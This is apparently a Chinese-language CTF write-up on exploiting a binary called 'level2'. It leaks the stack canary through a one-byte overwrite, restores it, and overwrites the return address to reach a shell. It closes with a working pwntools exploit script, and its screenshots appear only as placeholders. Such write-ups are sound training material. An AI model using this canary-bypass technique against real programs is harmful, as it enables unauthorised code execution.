通过ida可以看到,main函数调用func函数,func函数里需要输入两次
image.png
image.png
进行checksec查看文件信息,可以看到是由canary的
image.png
然后进行gdb调试,调试中可以看到在两次输入完成后会验证栈中的一个地址是否改变,这个应该就是canary,如果改变就会出错,所以要确保这个地址的内容不会改变
image.png
我们可以找到这个栈的地址,虽然每次运行都会改变,但是不会影响分析。
在这次调试中可以看到存放canary的地址为0xffffcf2c。
我们也可以发现输入缓存区的地址,而且两次输入是在同一个缓存区,也就是第二次输入可以把第一次输入的内容覆盖。
image.png
此时输入缓存区地址为0xffffcf14
可以计算输入缓存区到canary的偏移量为0x18,也就是24个字节
输入24个‘a’进行简单测试,发现canary的值改变了,有点奇怪
image.png
进行gdb调试,发现换行符也进去了,所以把\x00覆盖了
image.png
现在思路就是:第一次输入先用24个‘a’填充,然后取得canary,第二次输入用获得canary在原来的canary处覆盖,继续覆盖,并在ret处覆盖成seeme的地址。
获取canary的值,由于canary最低为时\x00,需要用一个字符‘a’把他覆盖了,然后读取剩下的三个字符,再在后面拼上\x00,在第二次输入是就可以用上然后覆盖到ret处的值。
用python写了一个脚本
image.png
这处在右边拼的原因是存储方式是小端,低地址在低位,也就是低位在左边,但是返回的时候低地址是在右边,所以我们要在右边拼凑,然后转为大端模式,就是正常我们看到的那种,类型0x80……,然后发送的时候需要改为小端。
最后运行,成功拿到shell
image.png
from pwn import *
context.log_level = "debug"
shellcode=0x08048516
conn=process("./level2")
conn.recv()
s='a'*24
conn.send(s+'b')
conn.recvuntil("ab")
canary=u32(conn.recv(3).rjust(4,"\x00"))
conn.recv()
sc='a'*24+p32(canary)+'a'*12+p32(shellcode)
raw_input()
conn.send(sc)
conn.recv()
conn.interactive()